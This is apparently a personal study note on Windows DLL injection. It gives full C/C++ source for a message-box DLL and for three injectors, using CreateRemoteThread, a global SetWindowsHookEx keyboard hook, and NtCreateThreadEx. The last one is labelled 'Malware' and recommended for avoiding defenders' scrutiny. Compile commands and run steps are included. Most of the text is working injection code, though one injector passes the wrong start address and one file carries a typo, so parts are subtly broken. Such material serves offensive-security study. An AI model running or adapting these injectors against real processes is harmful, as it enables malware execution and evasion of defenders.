There is a alight difference in writing C code for exe and DLL. The basic Difference is how you call code in your module or program.

  • In exe case there should be a function called main which is being called by the OS loader when it finishes all in initialization.
  • On the other hand with the DLL loader has already created process in memory and for some reason that process needs your DLL or any other DLL to be load it into the process and it might be due to the function your DLL implements.
  • So exe need a main function and DLL’s need DLLMain function.

Simple DLL Injection


For illustration, we will create a DLL which will just pop-up a message box:

DLL Code

//evil.cpp
#include <windows.h>
#pragma comment (lib, "user32.lib")
 
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved){
	switch (nReason) {
		case DLL_PROCESS_ATTACH:
			MessageBox(NULL, "Meow from evil.dll!", "=^..^=", MB_OK);
			break;
		case DLL_PROCESS_DETACH:
			break;
		case DLL_THREAD_ATTACH:
			break;
		case DLL_THREAD_DETACH:
			break;
	}
	return TRUE;
}

Explanation

#include <windows.h>
  • windows.h is a Windows-specific header file that lets your program use the Windows API — which is a massive collection of functions Microsoft provides for doing stuff on Windows.

#pragma comment (lib, "user32.lib")

It is a compiler directive, a special instruction that tells the compiler (not your program) to link a specific library automatically.
In this case:

PartMeaning
#pragmaspecial instructions to the compiler
commenta type of pragma used for metadata/comments
(lib, "user32.lib")link with user32.lib when building

🛠️ Why is this needed?

In Windows, some important functions (like MessageBox) live inside system libraries, not in your code.

  • MessageBox() → comes from user32.dll
  • user32.dll → needs a linker file called user32.lib during compile time.

Without linking user32.lib, if you use MessageBox(), you’ll get an error like:

unresolved external symbol MessageBoxA

👉 #pragma comment(lib, "something.lib")
means: “Hey compiler, link this library when compiling my code!

Other examples:

#pragma comment (lib, "advapi32.lib")   // For registry operations
#pragma comment (lib, "ws2_32.lib")     // For socket/network code
#pragma comment (lib, "kernel32.lib")   // Core Windows API

BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved)

This is the main entry point for a DLL (Dynamic Link Library) in Windows.
Just like a .exe starts with main(),
a .dll starts with DllMain().

PartMeaning
BOOLReturns TRUE (success) or FALSE (failure)
APIENTRYSee What is APIENTRY?
DllMainSpecial reserved name. Windows expects this function inside your DLL
HMODULE hModuleHandle to the DLL itself. (like the “ID” of your DLL in memory) - [[DLL Injection Into The Process#HMODULE hModule|HMODULE hModule]]
DWORD nReasonWhy DllMain was called (attach/detach, etc.) - [[DLL Injection Into The Process#DWORD nReason|DWORD nReason]]
LPVOID lpReservedReserved pointer for future use (sometimes NULL) - [[DLL Injection Into The Process#LPVOID lpReserved| LPVOID IpReserved]]
When you write a function in C like:
void hello();

the computer needs to know how to call it.
There are different ways (called calling conventions) that a CPU can call a function.
For example:

  • How to pass the values (left to right? right to left?)
  • Who cleans the mess (stack memory) after calling? The function? Or the caller?
What is APIENTRY?

👉 APIENTRY is just a shortcut (macro) that means:

  • “Hey, Windows! When you call this function, please use your special way (Windows way) of calling.”
    That Windows special way is called __stdcall.
    In SUPER SIMPLE words:

  • APIENTRY = just a nickname for __stdcall

  • __stdcall = Windows’ way of calling a function safely.

If you are making a DLL, Windows automatically calls your function DllMain().
So you MUST tell the compiler:

“Windows, I promise my function is ready for your calling style!”

That’s why you write:

BOOL APIENTRY DllMain(...)

Normally, you don’t need APIENTRY in EXE programs.
It’s mostly used for DLLs, NOT for normal EXE apps.

When you make a normal .exe program — like:

int main() {
    printf("Hello, world!");
    return 0;
}

The Windows operating system doesn’t call your main() function directly.
It first calls a small helper (crt0) that sets up the environment, then it runs main() in normal C calling style.

✅ No need for special Windows rules.
✅ No need for APIENTRY.

But when you make a DLL, it’s different.
When you make a DLL, Windows directly calls a special function like DllMain().
Windows itself is the caller, not your code!
And Windows expects your function to be built with __stdcall style — which is what APIENTRY means.

If you don’t write APIENTRY, Windows might call it wrong → Boom, crash 💥

HMODULE hModule

👉 HMODULE is just a fancy Windows type.
👉 It is basically a handle (a reference) to your loaded module.
Module = a program or DLL that is loaded into memory.

Think like this:
When your DLL is loaded by a process, Windows says:
“Okay, I loaded your DLL into memory at some address. Here’s a small number (handle) you can use to refer to it.”

That number is hModule.

✅ So, in DllMain(HMODULE hModule, ...):

  • hModule is a handle to your own DLL (the one that is being loaded).
  • You can use it if you want to:
    • Find out where your DLL is in memory.
    • Load resources inside your DLL (icons, images, etc.).
    • Or just pass it somewhere else if needed.
DWORD nReason
  • DWORD means “Double Word”, which is just a 32-bit unsigned integer (unsigned int).
  • nReason tells your DLL why DllMain is being called.
    In simple words:

What event just happened to the DLL?

Possible values for nReason are:

ValueMeaning
DLL_PROCESS_ATTACHYour DLL is being loaded into a process (process starts using your DLL).
DLL_PROCESS_DETACHYour DLL is being unloaded from a process (process is closing or freeing your DLL).
DLL_THREAD_ATTACHA new thread was created in the process.
DLL_THREAD_DETACHA thread inside the process is exiting.

🔵 It’s like Windows notifies your DLL about important events, and gives you a chance to react.

LPVOID lpReserved

👉 LPVOID means “Long Pointer to VOID” — basically:

  • a pointer (*)
  • to anything (void = no specific type)
  • 32-bit on 32-bit systems, 64-bit on 64-bit systems.

In simple words:

lpReserved is just a generic pointer that can point to any kind of data — but you have to know what it actually holds.


switch (nReason) {
case DLL_PROCESS_ATTACH:
	MessageBox(NULL, "Meow from evil.dll!", "=^..^=", MB_OK);
	break;
case DLL_PROCESS_DETACH:
	break;
case DLL_THREAD_ATTACH:
	break;
case DLL_THREAD_DETACH:
	break;
}

The switch (nReason) Block

This is the part where the program reacts differently depending on why DllMain was called. It’s like different paths for different situations.

Understanding Each case:

  1. DLL_PROCESS_ATTACH:
    • This case is triggered when the DLL is loaded into a process.
    • In your code, when this happens, a MessageBox pops up with the text Meow from evil.dll!.
    • This means the DLL was loaded successfully and it’s time to take action (display the message in this case).
case DLL_PROCESS_ATTACH:
    MessageBox(
        NULL,                  // No parent window
        "Meow from evil.dll!", // The message to show
        "=^..^=",              // The message box title
        MB_OK                  // Just a standard OK button
    );
    break;
  1. DLL_PROCESS_DETACH:
    • This case is triggered when the DLL is unloaded from a process.
    • In your code, there’s nothing inside the case DLL_PROCESS_DETACH block — meaning no specific action is taken when the DLL is unloaded.
    • Normally, you’d do cleanup here (e.g., free memory, close resources).
case DLL_PROCESS_DETACH:
    // You could clean up here, like freeing memory or closing files
    break;
  1. DLL_THREAD_ATTACH:
    • This case is triggered when a new thread is created within the process.
    • In your code, there’s nothing inside the case DLL_THREAD_ATTACH block either — again, you don’t take any action in this simple example.
    • You could do something like logging or tracking the thread creation if you wanted.
case DLL_THREAD_ATTACH:
    // Do something when a new thread starts
    break;
  1. DLL_THREAD_DETACH:
    • This case is triggered when a thread is exiting in the process.
    • No action is taken in this case either. You could use this to log or cleanup for threads if needed.
case DLL_THREAD_DETACH:
    // Do something when a thread exits
    break;

Final Overview:

  1. When the DLL is loaded (DLL_PROCESS_ATTACH), you show a message.
  2. When the DLL is unloaded (DLL_PROCESS_DETACH), you do nothing in this example.
  3. When a new thread is created (DLL_THREAD_ATTACH) or exiting (DLL_THREAD_DETACH), you don’t do anything either in this case.

Injecting this dll to the process

We will use Code Injection Into The Process’s code and will modify it to inject dll.

C++ Code

//evil_inj.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
 
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
 
int main(int argc, char* argv[]) {
	HANDLE ph; // process handle
	HANDLE rt; // remote thread
	PVOID rb; // remote buffer
	
	// handle to kernel32 and pass it to GetProcAddress
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
	
	// parse process ID
	if (atoi(argv[1]) == 0){
		printf("PID not found :( exiting...\n");
		return -1;	
	}
	printf("PID: %i", atoi(argv[1]));
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
	
	// allocate memory buffer for remote process
	rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	
	// "copy" data between processes
	WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
	
	// our process start new thread
	rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)rb, NULL, 0, NULL);
	CloseHandle(ph);
	return 0;
}

Explanation


Explaining only newly added portion from previous code.

#include <tlhelp32.h>

tlhelp32.h is a header file, which provides access to the Tool Help Library functions in Windows. These functions are primarily used for process and thread enumeration, among other system-level operations.

What is the Tool Help Library?

The Tool Help Library is a Windows API that allows you to get information about processes, threads, modules, and heaps on the system. This library is useful for interacting with processes and performing operations such as:

  • Enumerating processes
  • Enumerating threads
  • Getting information about modules (DLLs and EXEs) that are loaded into a process

The functions in the Tool Help Library are mainly used to gather information about running processes and system resources, which is why it’s commonly used in debugging and reverse engineering contexts.

Common Functions in tlhelp32.h

Some of the key functions provided by tlhelp32.h include:

  1. CreateToolhelp32Snapshot:
    • Captures a snapshot of the system’s processes, threads, modules, or heaps at a particular point in time.
      Example:
    HANDLE CreateToolhelp32Snapshot(DWORD dwFlags, DWORD th32ProcessID);
    • dwFlags: Specifies what information should be captured, such as processes or threads.
    • th32ProcessID: The process ID for the snapshot; 0 for all processes.
  2. Process32First and Process32Next:
    • Used to iterate through the list of processes in the snapshot.
      Example:
    BOOL Process32First(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
    BOOL Process32Next(HANDLE hSnapshot, LPPROCESSENTRY32 lppe);
    • Process32First starts the iteration of processes.
    • Process32Next continues the iteration to the next process.
    • PROCESSENTRY32 is a structure that holds information about a process.
  3. Thread32First and Thread32Next:
    • Used to enumerate threads in a snapshot.
      Example:
    BOOL Thread32First(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
    BOOL Thread32Next(HANDLE hSnapshot, LPTHREADENTRY32 lpte);
    • These functions help you get information about the threads running within a particular process.
  4. Module32First and Module32Next:
    • Used to enumerate the modules (DLLs or EXEs) loaded by a process.
      Example:
    BOOL Module32First(HANDLE hSnapshot, LPMODULEENTRY32 lpme);
    BOOL Module32Next(HANDLE hSnapshot, LPMODULEENTRY32 lpme);

Example Usage of CreateToolhelp32Snapshot to Get Process List

Here’s a simple example that uses the Tool Help API to get a list of running processes on the system:

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
 
int main() {
    // Create a snapshot of all processes
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        printf("Failed to create snapshot\n");
        return 1;
    }
    
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    
    // Get the first process in the snapshot
    if (Process32First(hSnapshot, &pe32)) {
        do {
            // Print process name and PID
            printf("Process Name: %s | PID: %d\n", pe32.szExeFile, pe32.th32ProcessID);
        } while (Process32Next(hSnapshot, &pe32)); // Get the next process
    } else {
        printf("Failed to get first process\n");
    }
    
    // Close the snapshot handle
    CloseHandle(hSnapshot);
    return 0;
}
  1. Creating the Snapshot:
    • The CreateToolhelp32Snapshot function is called with the flag TH32CS_SNAPPROCESS to create a snapshot of all processes on the system. The second argument is 0, meaning we want information on all processes.
  2. Process Iteration:
    • We use Process32First to get the first process in the snapshot, and then use Process32Next to iterate over all the processes in the snapshot. Each process’ information is stored in the PROCESSENTRY32 structure.
  3. Printing Process Info:
    • For each process, we print the executable file name (szExeFile) and the process ID (th32ProcessID).
  4. Closing the Snapshot:
    • After the iteration is complete, we close the snapshot handle using CloseHandle.

HMODULE hKernel32 = GetModuleHandle("Kernel32");
  • GetModuleHandle("Kernel32") asks Windows:

    “Hey Windows, please give me the handle (address) of the loaded module (DLL) called Kernel32.dll inside my current process.”

  • hKernel32 now stores the base address (kind of like the starting memory address) where kernel32.dll is loaded.

  • kernel32.dll is a super important system DLL — it contains many essential Windows functions like CreateFile, VirtualAlloc, LoadLibrary, etc.

  • Every Windows program automatically loads kernel32.dll — it’s always in the process memory.

  • HMODULE is just a typedef for a pointer (void*) that points to the base of the loaded module in memory.
    So after this line:

  • hKernel32 points to where kernel32.dll is living inside your program’s memory.
    We need this handle so you can use it with GetProcAddress, like this:

VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");

VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
  • GetProcAddress asks Windows:

    “Inside the DLL you gave me (hKernel32), please find the memory address of the function called LoadLibraryA.”

  • The returned address (pointer to the function) is stored in lb.
PartMeaning
VOID *lbWe store the address of the LoadLibraryA function in a generic pointer (VOID *) — meaning: “some function at some address.”
GetProcAddress(...)Windows API function to find functions inside DLLs.
hKernel32Handle (memory base address) of kernel32.dll you got from GetModuleHandle("Kernel32").
"LoadLibraryA"Name of the function you want to find. (The ANSI version, not the Unicode one.)

Compile and Run Code

Step 1 ➡ First we wil l compile our code for create a evil.dll

x86_64-w64-mingw32-g++ -shared -o evil.dll evil.cpp -fpermissive


Step 2 ➡ Compile our Modified code.

x86_64-w64-mingw32-gcc -O2 evil_inj.cpp -o inj.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1


Step 3 ➡ Transfer evil.dll to Windows at C:/ and inj.exe at your desired Location.

Step 4 ➡ Get PID(Process ID).

  • First we will need launch the instance in which we want to inject our DLL. And the try to figure out it’s PID(Process ID).
  • Here, we will use calc.exe as the instance in which we want to inject our code and Process Explorer to know it’s PID(Process ID).

    Here, in my case the PID is 3384.

Step 5 ➡ Run command .\inj.exe <PID>

Done.

Adding findMyProc function to above Code.


//hack2.cpp
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
 
char evilDLL[] = "C:\\evil.dll";
unsigned int evilLen = sizeof(evilDLL) + 1;
 
// find process ID by process name
int findMyProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
	
	// snapshot of all processes in the system
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
	
	// initializing size: needed for using Process32First
	pe.dwSize = sizeof(PROCESSENTRY32);
	
	// info about first process encountered in a system snapshot
	hResult = Process32First(hSnapshot, &pe);
	
	// retrieve information about the processes
	// and exit if unsuccessful
	while (hResult) {
		// if we find the process: return process ID
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	}
	
	// closes an open handle (CreateToolhelp32Snapshot)
	CloseHandle(hSnapshot);
	return pid;
}
 
int main(int argc, char* argv[]) {
	int pid = 0; // process ID
	HANDLE ph; // process handle
	HANDLE rt; // remote thread
	LPVOID rb; // remote buffer
	
	// handle to kernel32 and pass it to GetProcAddress
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	VOID *lb = GetProcAddress(hKernel32, "LoadLibraryA");
	
	// get process ID by name
	pid = findMyProc(argv[1]);
	if (pid == 0) {
		printf("PID not found :( exiting...\n");
		return -1;
	} else {
		printf("PID = %d\n", pid);
	}
	
	// open process
	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
	
	// allocate memory buffer for remote process
	rb = VirtualAllocEx(ph, NULL, evilLen, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
	
	// "copy" evil DLL between processes
	WriteProcessMemory(ph, rb, evilDLL, evilLen, NULL);
	
	// our process start new thread
	rt = CreateRemoteThread(ph, NULL, 0, (LPTHREAD_START_ROUTINE)lb, rb, 0, NULL);
	
	CloseHandle(ph);
	return 0;
}

Compiling the code

x86_64-w64-mingw32-gcc -O2 hack2.cpp -o hack2.exe -mconsole -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive >/dev/null 2>&1


Make sure to put evil.dll at C:\
Refer this : DLL Code

run:

.\hack2.exe calc.exe

via SetWindowsHookEx


The SetWindowsHookEx installs a hook routine into the hook chain, which is then invoked whenever certain events are triggered.

Signature:

HHOOK SetWindowsHookExA(
	[in] int       idHook,
	[in] HOOKPROC  lpfn,
	[in] HINSTANCE hmod,
	[in] DWORD     dwThreadId
);

isHook is the most important parameter here. It refer to the type of hook to be installed. It can be:

Hook ConstantDescription
WH_JOURNALRECORDRecords input events (keyboard/mouse).
WH_JOURNALPLAYBACKPlays back recorded input events.
WH_KEYBOARDMonitors keyboard input events (high-level).
WH_GETMESSAGEMonitors messages from the message queue.
WH_CALLWNDPROCMonitors messages sent to a window procedure (before processing).
WH_CBTMonitors system events like window create, activate, etc.
WH_SYSMSGFILTERMonitors system messages for modal dialogs.
WH_MOUSEMonitors mouse events (high-level).
WH_HARDWAREMonitors hardware messages (rarely used).
WH_DEBUGAllows debugging of other hooks.
WH_SHELLReceives shell events (like window activation).
WH_FOREGROUNDIDLECalled when the foreground thread is idle.
WH_CALLWNDPROCRETMonitors messages after they’ve been processed by a window procedure.
WH_KEYBOARD_LLLow-level keyboard hook (system-wide).
WH_MOUSE_LLLow-level mouse hook (system-wide).
WH_MSGFILTERMonitors messages for modal dialogs/message boxes in a message loop.

DLL Code

//evil.cpp
#include <windows.h>
#pragma comment (lib, "user32.lib")
 
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpReserved) {
	switch (nReason) {
		case DLL_PROCESS_ATTACH:
			break;
		case DLL_PROCESS_DETACH:
			break;
		case DLL_THREAD_ATTACH:
			break;
		case DLL_THREAD_DETACH:
			break;
		}
	return TRUE;
}
 
exter "C" __declspec(dllexport) int Meow(){
	MessageBox(
		NULL,
		"Meow from evil.dll",
		"=^..^=",
		MB_OK
	);
	return 0;
}

Explanation

  • We have created a DLL. Where DllMain() function is called when the DLL is loaded into the process’s address space.
  • And there is a function called Meow(), which is an exported function and just pop-up message “Meow from evil.dll!” .

C Code

#include <windows.h>
#include <cstdio>
 
typedef int (__cdecl *MeowProc)();
 
int main(void) {
	HINSTANCE meowDll;
	MeowProc meowFunc;
	
	// load evil DLL
	meowDll = LoadLibrary(TEXT("evil.dll"));
	
	// get the address of exported function from evil DLL
	meowFunc = (MeowProc) GetProcAddress(meowDll, "Meow");
	
	// install the hook - using the WH_KEYBOARD action
	HHOOK hook = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)meowFunc, meowDll, 0);
	Sleep(5*1000);
	UnhookWindowsHookEx(hook);
	
	return 0;
}

Explanation

typedef int (__cdecl *MeowProc)();

Define a new type called MeowProc, which is a pointer to a function that returns an int, takes no arguments, and uses the __cdecl calling convention.

PartMeaning
typedefCreate a new name (alias) for a type.
intThe function returns an int.
__cdeclCalling convention (used for how function arguments are handled on the stack).
*MeowProcThe new name for this function pointer type.
()The function takes no arguments.

HINSTANCE meowDll;
MeowProc meowFunc;
  • Declares a handle for the DLL and a pointer to the function.

meowDll = LoadLibrary(TEXT("evil.dll"));
  • Loads evil.dll into the process memory.
  • This causes DllMain (if implemented) to be executed with DLL_PROCESS_ATTACH.

meowFunc = (MeowProc) GetProcAddress(meowDll, "Meow");
  • Retrieves the address of the exported Meow function inside evil.dll.

HHOOK hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)meowFunc, meowDll, 0);

This line is attempting to set a system-wide keyboard hook using a function from a DLL.

ParameterValue in Your CodeMeaning
idHookWH_KEYBOARDType of hook — this sets a keyboard hook (value = 2).
lpfn(HOOKPROC)meowFuncPointer to your hook function, cast to correct type.
hModmeowDllHandle to the DLL that contains the meowFunc function.
dwThreadId0Hook all threads system-wide (global hook).

It tells Windows:

Please hook all keyboard input events in the system and call the meowFunc function (inside evil.dll) whenever a key is pressed.


Sleep(5*1000);
  • Waits 5 seconds, presumably to allow the hook to “run”.

UnhookWindowsHookEx(hook);
  • Cleans up the hook after the sleep period.

Compile

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.cpp -fpermissive
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
-fmerge-all-constants -static-libstdc++ -static-libgcc \
-fpermissive

Run

.\hack.exe

via NtCreateThreadEx

Note

The reason why it’s good to have this technique in your arsenal is because we are not using CreateRemoteThread which is more popular and suspicious and which is moreclosely investigated by the blue teamers.

NtCreateThreadEx is an internal Windows API function that is not officially documented by Microsoft, but is commonly known in Windows internals and security circles. It is used to create threads in a process, similar to CreateThread or CreateRemoteThread but it offers more flexibility and lower-level control.

Common Use Cases

  • DLL Injection: Tools that inject code into other processes sometimes use NtCreateThreadEx because it can bypass some security checks or limitations imposed on higher-level APIs.
  • Remote Thread Creation: More direct and less monitored by standard security APIs, so often used by security researchers and also malware.

Basic Signature (simplified)

NTSTATUS NtCreateThreadEx(
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PVOID AttributeList
);

Simple DLL

A dll which pop-up at Message box when loaded.

//evil.c
#include <windows.h>
#pragma comment (lib, "user32.lib")
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
	switch (ul_reason_for_call) {
		case DLL_PROCESS_ATTACH:
			MessageBox(NULL, "Meow-meow!", "=^..^=", MB_OK);
			break;
		case DLL_PROCESS_DETACH:
			break;
		case DLL_THREAD_ATTACH:
			break;
		case DLL_THREAD_DETACH:
			break;
	}
	return TRUE;
}

Compile

x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c

Simple exe

A Simple exe for our victim process.

//mouse.c
#include <windows.h>
#pragma comment (lib, "user32.lib")
int main() {
	MessageBox(NULL, "Squeak-squeak!", "<:( )~~", MB_OK);
	return 0;
}

Compile

x86_64-w64-mingw32-gcc -O2 mouse.c -o mouse.exe -mconsole

Malware

Code

//h.cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
#pragma comment(lib, "advapi32.lib")
typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
);
int findMyProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
 
	// snapshot of all processes in the system
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
	// initializing size: needed for using Process32First
	pe.dwSize = sizeof(PROCESSENTRY32);
	// info about first process encountered in a system snapshot
	hResult = Process32First(hSnapshot, &pe);
 
	// retrieve information about the processes
	// and exit if unsuccessful
	while (hResult) {
		// if we find the process: return process ID
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	}
	// closes an open handle (CreateToolhelp32Snapshot)
	CloseHandle(hSnapshot);
	return pid;
}
int main(int argc, char* argv[]) {
	DWORD pid = 0; // process ID
	HANDLE ph; // process handle
	HANDLE ht; // thread handle
	LPVOID rb; // remote buffer
	SIZE_T rl; // return length
	char evilDll[] = "evil.dll";
	int evilLen = sizeof(evilDll) + 1;
	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	LPTHREAD_START_ROUTINE lb = (LPTHREAD_START_ROUTINE) GetProcAddress(hKernel32, "LoadLibraryA");
	pNtCreateThreadEx ntCTEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
	if (ntCTEx == NULL) {
		CloseHandle(ph);
		printf("NtCreateThreadEx failed :( exiting...\n");
		return -2;
	}
	pid = findMyProc(argv[1]);
	if (pid == 0) {
		printf("PID not found :( exiting...\n");
		return -1;
	} else {
		printf("PID = %d\n", pid);
		ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
		if (ph == NULL) {
			printf("OpenProcess failed :( exiting...\n");
			return -2;
		}
		// allocate memory buffer for remote process
		rb = VirtualAllocEx(ph, NULL, evilLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		// write payload to memory buffer
		WriteProcessMemory(ph, rb, evilDll, evilLen, rl); // NULL);
		ntCTEx(&ht, 0x1FFFFF, NULL, ph,(LPTHREAD_START_ROUTINE) lb, rb, FALSE, NULL, NULL, NULL, NULL);
		if (ht == NULL) {
			CloseHandle(ph);
			printf("ThreadHandle failed :( exiting...\n");
			return -2;
		} else {
			printf("successfully inject via NtCreateThreadEx :)\n");
		}
		WaitForSingleObject(ht, INFINITE);
		CloseHandle(ht);
		CloseHandle(ph);
	}
	return 0;
}
 

Explaination

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <tlhelp32.h>
#include <vector>
  • Standard and Windows-specific headers for process enumeration, memory operations, and thread handling.

#pragma comment(lib, "advapi32.lib")
  • Links advapi32.lib at build time (needed for some advanced API functions).

typedef NTSTATUS(NTAPI* pNtCreateThreadEx) (
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
);
  • Defines a function pointer type (pNtCreateThreadEx) to the undocumented Windows API function NtCreateThreadEx (from ntdll.dll).
  • This function lets you create remote threads in 64-bit processes more reliably than CreateRemoteThread.

int findMyProc(const char *procname) {
	HANDLE hSnapshot;
	PROCESSENTRY32 pe;
	int pid = 0;
	BOOL hResult;
 
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hSnapshot) return 0;
 
	pe.dwSize = sizeof(PROCESSENTRY32);
	hResult = Process32First(hSnapshot, &pe);
 
	while (hResult) {
		if (strcmp(procname, pe.szExeFile) == 0) {
			pid = pe.th32ProcessID;
			break;
		}
		hResult = Process32Next(hSnapshot, &pe);
	}
	CloseHandle(hSnapshot);
	return pid;
}
  • Purpose: Find the PID of a process by its name (procname).
  • Uses CreateToolhelp32Snapshot to take a snapshot of all processes and iterates through them with Process32First / Process32Next.
  • If it finds the target process, returns its process ID (pid).

main()

int main(int argc, char* argv[]) {
  • Entry point.
  • The process name to inject into is given as a command-line argument (argv[1]).

	DWORD pid = 0;
	HANDLE ph;
	HANDLE ht;
	LPVOID rb;
	SIZE_T rl;
	char evilDll[] = "evil.dll";
	int evilLen = sizeof(evilDll) + 1;

Variables:

  • pid – process ID.
  • ph – handle to target process.
  • ht – handle to remote thread.
  • rb – remote memory buffer.
  • rl – size of written data.
  • evilDll – DLL name to inject.
  • evilLen – length of the DLL name (including the null terminator).

	HMODULE hKernel32 = GetModuleHandle("Kernel32");
	LPTHREAD_START_ROUTINE lb = (LPTHREAD_START_ROUTINE) GetProcAddress(hKernel32, "LoadLibraryA");
  • Loads the address of LoadLibraryA from kernel32.dll (used for DLL injection).

	pNtCreateThreadEx ntCTEx = (pNtCreateThreadEx)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtCreateThreadEx");
  • Gets the address of the undocumented NtCreateThreadEx function from ntdll.dll.

	if (ntCTEx == NULL) {
		CloseHandle(ph);
		printf("NtCreateThreadEx failed :( exiting...\n");
		return -2;
	}
  • If this fails, exits because the injection relies on this function.

	pid = findMyProc(argv[1]);
	if (pid == 0) {
		printf("PID not found :( exiting...\n");
		return -1;
  • Uses findMyProc() to find the PID of the process named by the user.
  • Exits if not found.

	ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)pid);
	if (ph == NULL) {
		printf("OpenProcess failed :( exiting...\n");
		return -2;
	}
  • Opens the process with full access so it can write to it and create threads.

	rb = VirtualAllocEx(ph, NULL, evilLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  • Allocates memory in the remote process for the DLL path (evil.dll).

	WriteProcessMemory(ph, rb, evilDll, evilLen, rl); // NULL);
  • Writes the path to the DLL (evil.dll) into the allocated memory (rb) of the target process.

	ntCTEx(&ht, 0x1FFFFF, NULL, ph,(LPTHREAD_START_ROUTINE) lb, rb, FALSE, NULL, NULL, NULL, NULL);
  • Uses NtCreateThreadEx to start a new thread in the target process.
  • The thread calls LoadLibraryA with the DLL path (rb) to load (inject) the DLL.

	if (ht == NULL) {
		CloseHandle(ph);
		printf("ThreadHandle failed :( exiting...\n");
		return -2;
	} else {
		printf("successfully inject via NtCreateThreadEx :)\n");
	}
  • Checks if the thread was successfully created.
  • If successful, prints a success message.

	WaitForSingleObject(ht, INFINITE);
	CloseHandle(ht);
	CloseHandle(ph);
  • Waits for the remote thread to finish (WaitForSingleObject).
  • Cleans up thread and process handles.

	return 0;
}
  • Exit with 0 status (success).

Compile

x86_64-w64-mingw32-g++ h.cpp -o hack.exe -mconsole \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings -fno-exceptions \
